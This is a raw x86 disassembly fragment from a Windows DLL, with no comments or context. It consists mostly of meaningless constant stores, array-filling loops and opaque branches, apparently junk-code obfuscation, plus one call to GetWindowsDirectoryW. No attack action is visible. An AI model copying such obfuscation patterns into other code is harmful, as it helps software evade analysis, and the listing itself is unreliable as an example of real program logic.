cmp dword [ebp - 0x24], 0xffffffe9
jne 0x1003020f
mov dword [ebp - 0x28], 0xfffffff7
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x34], 0x8e548e01
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100302bc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x140], 0x52f76ec7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100302a4
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100302ee
mov dword [ebp - 0x14], 0x3c69
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x34]
mov dword [ebp - 0x14], 0xfffffffd
jmp 0x100302e5
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], eax
jne 0x100302eb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 8
jne 0x100302da
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff5
je 0x100302c1
mov dword [ebp - 0x18], eax
jmp 0x1003042f
mov dword [ebp - 0x48], 0xda7209c3
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10030320
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6c], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003030b
xor eax, eax
mov dword [ebp - 0x6c], edi
cmp dword [ebp - 0x6c], eax
jl 0x10030415
mov dword [ebp - 0x34], 0x628eaf60
mov dword [ebp - 0x44], 0x5618d7c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10030356
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x548], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10030342
cmp dword [ebp - 0x48], eax
je 0x10030383
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003042c
push 0x1105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x100302fc
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x14], 0xb5bf2d3f
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x48], 0xcf81320f
mov dword [ebp - 0x14], eax
jmp 0x10030466
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa8], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10030455
push 0xffffffffffffffe8
pop ebx
mov dword [ebp - 0xa8], ebx
jmp 0x100304c5